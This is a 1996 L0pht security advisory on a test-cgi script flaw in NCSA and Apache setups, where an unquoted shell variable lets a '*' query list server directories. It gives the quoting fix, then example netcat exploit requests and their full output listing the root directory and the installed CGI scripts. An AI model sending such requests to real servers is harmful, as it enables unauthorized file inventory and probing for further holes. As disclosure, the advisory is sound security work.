test-cgi vulnerability

                  [ Advisory released April 1996 ]

                            L0pht Report

                       test-cgi vulnerability
                         in certain setups

Affected Program: test-cgi scripts found on various web servers.

Severity: Anyone can remotely inventory the files on a machine.

Author: mudge@l0pht.com

Synopsis:

On many web sites there exists a file called test-cgi (usually in
the cgi-bin directory or somewhere similar). There is a problem
with many of these test-cgi files. If your test-cgi file contains
the following line (verbatim) then you are probably vulnerable.

echo QUERY_STRING = $QUERY_STRING

All of these lines should have the variables enclosed in loose
quotes ("). Without these quotes certain special characters
(specifically '*') get expanded where they shouldn't. Thus
submitting a query of '*' will return the contents of the
current directory (probably where all of the cgi files are...
gee, there's jj and phf. Hmmm what are all those other cgi's
that I haven't seen... wonder what holes exist in those?).
Sending in a query of '/*' will list the root directory.
And so on, and so on.

This is the same as doing `echo *` when you've blown away 'ls'
(not that this ever happens to anyone ).

The easiest way to list out the directories is via the query
string. However, it is possible to do the same thing through
many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.)
in the right situations.


Fix:

The quick fix is to place loose quotes around all of the
variables in the test-cgi file (they should have been there
from the beginning!).

echo QUERY_STRING = "$QUERY_STRING"

This incorrect file has been seen in at least several versions
of NCSA, and Apache.


Example exploit:

Below are examples (nc is netcat from avian.org, if you don't
have it you should get it as it is an invaluable tool. You can
always just telnet to port 80 and type in the GET... command.)

------------------
machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80

CGI/1.0 test script report:

argc is 1. argv is /\*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

------------------
Or to see what other cgi-goodies are still floating around...
------------------
machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80

CGI/1.0 test script report:

argc is 1. argv is \*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =